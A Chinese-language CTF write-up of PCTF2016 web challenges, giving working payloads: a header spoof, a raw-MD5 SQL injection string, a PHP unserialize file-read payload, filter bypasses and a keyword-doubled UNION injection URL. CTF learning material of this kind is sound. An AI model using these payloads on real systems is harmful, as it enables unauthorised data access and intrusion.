PCTF2016 Web WriteUp

web100 PORT51

題目要求用本機的51端口去訪問他的網站。
好吧這是最犯蠢的一個題了。嗶了狗了。本來簡簡單單的一行命令就解決的事兒。最簡單的payload如下:

curl --local-port 51 http://xxxxxxxx

結果最後我寫了兩份150行代碼,因爲考慮到現在的庫啊什麼的都沒辦法固定本機的端口,所以我想到了C的socket編程,先我在windows下寫好之後,連wireshark抓包抓出來都沒問題了,後來再Melody大神的提醒下,知道校網的NAT產生了影響,所以想到了在VPS下跑程序就可以,所以又寫了一份linux下的代碼,貼一下把,如下:

#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<sys/stat.h>
#include<arpa/inet.h>
#include <errno.h>
#define MAXBUF 256
char *request_head = "GET %s HTTP/1.1\r\n"
    "Accept: text/html, application/xml, */*\r\nAccept-Language: zh-cn\r\n"
    "Accept-Encoding: gzip, deflate\r\nHost: %s:%d\r\n"
    "User-Agent: bendawang's Browser <0.1>\r\nConnection: Keep-Alive\r\n\r\n";
#define REMOTE_PORT         32772
#define REMOTE_IP_ADDRESS "103.39.76.105"

#define HTTP_DEF_PORT     32772  
#define HTTP_BUF_SIZE   2048  
#define HTTP_HOST_LEN    256 
#define MAX_CMD_LEN     256
#define MAC_ADDR_LEN    12
#define local_port 51   
#define local_ip "XXX.XXX.XXX.XXX"  //自己的IP
char MacAddr[MAC_ADDR_LEN+1];
char *url= "/";
char host[HTTP_HOST_LEN] =REMOTE_IP_ADDRESS;
unsigned short port = HTTP_DEF_PORT;


char* join(char *s1, char *s2)                  
{
    char *result =(char *) malloc(strlen(s1)+strlen(s2)+1);
    if (result == NULL) exit (1);
    strcpy(result, s1);
    strcat(result, s2);
    return result;
}

int recvn(int s, char* recvbuf, unsigned int fixedlen)
{
    int iResult;
    int cnt;
    cnt = fixedlen;
    while ( cnt > 0 ) {
        iResult = recv(s, recvbuf, cnt, 0);
        if ( iResult < 0 ){
            printf("Recieve error!");
            return -1;
        }
        if ( iResult == 0 ){
            printf("Connection Closed!\n");
            return-1;
        }
        recvbuf +=iResult;
        cnt -=iResult;
    }
    return fixedlen;
}

int http_send_client(int ClientSocket,char * a){
    char * tempurl=url;
    char sendbuf[HTTP_BUF_SIZE]="\0";
    tempurl=join(tempurl,a);
    int sendlen = sprintf(sendbuf, request_head, tempurl, host, port);
    puts(sendbuf);
    //printf("  %d",sendlen);
    getchar();
    int Ret = send(ClientSocket, sendbuf, sendlen, 0);      
    Ret = recv(ClientSocket, sendbuf, HTTP_BUF_SIZE,0);
    printf("%s",sendbuf);
    getchar();
    return Ret;
}


int main()
{
    int ssock;
    int clen;
    struct sockaddr_in server_addr;
    struct sockaddr_in LocalAddr;
    char buf[MAXBUF];
    if((ssock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))<0){
        perror("socket error:");
        exit(1);
    }
    clen = sizeof(server_addr);
    memset(&server_addr,0,sizeof(server_addr));
    server_addr.sin_family     =AF_INET;
    server_addr.sin_addr.s_addr=inet_addr(REMOTE_IP_ADDRESS);
    server_addr.sin_port       =htons(REMOTE_PORT);
    memset(server_addr.sin_zero, 0, 8);

    memset(&LocalAddr,0,sizeof(LocalAddr));
    LocalAddr.sin_family = AF_INET;
    LocalAddr.sin_port = htons(local_port);
    inet_pton(AF_INET,local_ip,&LocalAddr.sin_addr);

    int Ret= bind(ssock,(struct sockaddr*)&LocalAddr,sizeof(LocalAddr));
        //memset(server_addr.sin_zero, 0, 8);
        //int Ret =bind(ssock,(struct sockaddr *)&LocalAddr,sizeof(LocalAddr));
        //int Ret = bind(ssock, (struct sockaddr*)&LocalAddr, sizeof(LocalAddr));
    if (Ret != 0)
        {
                printf("bind error\n");
        }
    if(connect(ssock,(struct sockaddr *)&server_addr,clen)<0){
        perror("connect error:");
        exit(1);
    }
    //printf("1");
    Ret = connect(ssock,(struct sockaddr*)&server_addr, sizeof(server_addr));
    while (1){
            http_send_client(ssock, "");
        }

    memset(buf,0,MAXBUF);
    if(read(ssock,buf,MAXBUF)<=0)
    {
        perror("read error:");
        exit(1);
    }
    close(ssock);
    printf("\n read: %s\n",buf);
    return 0;
}

程序運行截圖如下:

所以最後的flag就是PCTF{M45t3r_oF_CuRl}

web150 LOCALHOST

根據提示說是localhost access only!!
那直接在請求頭上加上X-Forwarded-For:127.0.0.1就可以了,如下

web250 Login

通過抓包在響應頭裏面看到hint如下:

hint : "select * from `admin` where password='".md5($pass,true)."'"

根據http://www.ilrose.com/blog/2015/07/08/md5%E5%8A%A0%E5%AF%86%E5%90%8E%E7%9A%84sql-%E6%B3%A8%E5%85%A5/
直接輸入ffifdyop,得到flag爲PCTF{R4w_md5_is_d4ng3rous}

web300 神盾局的祕密

這裏查看源碼看到有一個showimg.php,然後訪問這個頁面,並隨便給參數img附一個參數,得到這個錯誤:

讀取文件錯誤,那麼問題來了,img參數顯然是base64編碼的,通過img我就可以讀取任意代碼了,讀取showimg.php代碼

<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>

再看看我們的index.php的代碼如下:

<?php 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

再看看我們的sheild.php:

<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

看到hint說是pctf.php裏面有flag,直接訪問或是通過showimg.php都是不行的。
其實讀到index.php就應該已經看出來了這裏肯定有反序列化漏洞了,
這裏先打一波自己博客的廣告,之前我寫過這方面的博客,大家可以看看:

http://blog.csdn.net/qq_19876131/article/details/50926210

好的我們繼續,然後shield.php中果然給出了Shield類,那麼又說了flag在pctf.php中,那麼直接給class傳參獲取pctf.php內容即可。那麼有如下代碼生成payload

<?php
class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
$a=new Shield();
$a->file="pctf.php";
echo serialize($a);
?>

得到O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
所以最後的payload就是:

http://web.phrack.top:32779/?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

在源碼裏面看到flag:

PCTF{W3lcome_To_Shi3ld_secret_Ar3a}

web500 IN A Mess

在源碼中獲得提示index.phps,訪問後得到代碼如下,不由得吐槽一句,終於遇到最喜歡的代碼題了,爆炸。。

<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("flag.txt");
}
else
{
    print "work harder!harder!harder!";
}
?>

先看參數id,有代碼可知id=0a,弱類型比較。
再看看a,他要輸入一個文件使內容爲1112 is a nice lab!,在自己的服務器上建一個名爲1的文件內容就是1112 is a nice lab!,然後把自己的服務器ip轉爲10進制ip來繞過對.的匹配。
最後是b,已知eregi遇到%00終止,那麼我們直接構造b=%0044444
繞過之後得到如下:

一看到就激動了,發現並不是flag,好吧,我的第一反應是vim裏面的正則,/是搜索嘛,然後後面恰好又是一個正則,那麼flag一定就是HT2mCpcvOLf這個了,結果並不是。。




折騰了好久,後來才發現把它複製到url上。。。然後進入到本題的第二個部分,注入注入!
試了試,過濾不多,就過濾了像是空格啊,回車啊,tab啊之類根本沒什麼屁用的東西,像是select,from什麼的也都只被正則替換了一次,用selselectect就能繞過,另外還過濾了0809,20等等敏感的數字。
好吧,這裏我再次犯了個蠢,我不知道當時怎麼搞的,我以爲union被完全過濾了,害的我後面用盲注,明明直接可以很簡單就爆出來的。
報警了。
盲注坑就坑在它過濾了08,09,0a,20等等,那麼在腳本爆破的時候,像是120,0x0a,20這些數字都是血崩的,最後我是腳本盲注加手調出來的。
腳本我就不貼了(忘了丟哪兒去了),反正比較簡單,主要是一定要手動確認下各個位置,最後爆出來就是一個表content表,和三個字段id,context,title
flag就在context字段裏面,而那個hi666就是title字段的值。
.
.
.
後來才醒悟過來union也和select之流一樣並沒有被完全過濾,真是蠢啊!!!

後來試了試用union去回顯爆庫,它是總共有三個字段,顯示的是第三個字段,像是空格被過濾的話用各種括號就可以繞過了,最後的payload如下:

http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0%26(1=2)uniounionn(selselectect(1),(2),(context)frfromom(content))

得到最後的flag就是PCTF{Fin4lly_U_got_i7_C0ngRatulation5}

真是嗶了狗了,明明很簡單的題,總是自己搞複雜了。炸!
不過也沒事兒,盲注畢竟是萬能了,當做熟悉下好了。(真的沒有安慰自己)

web350 flag在管理員手裏

一道原題不想去再看了,索性就沒做了,放個鏈接
http://www.2cto.com/Article/201405/298779.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章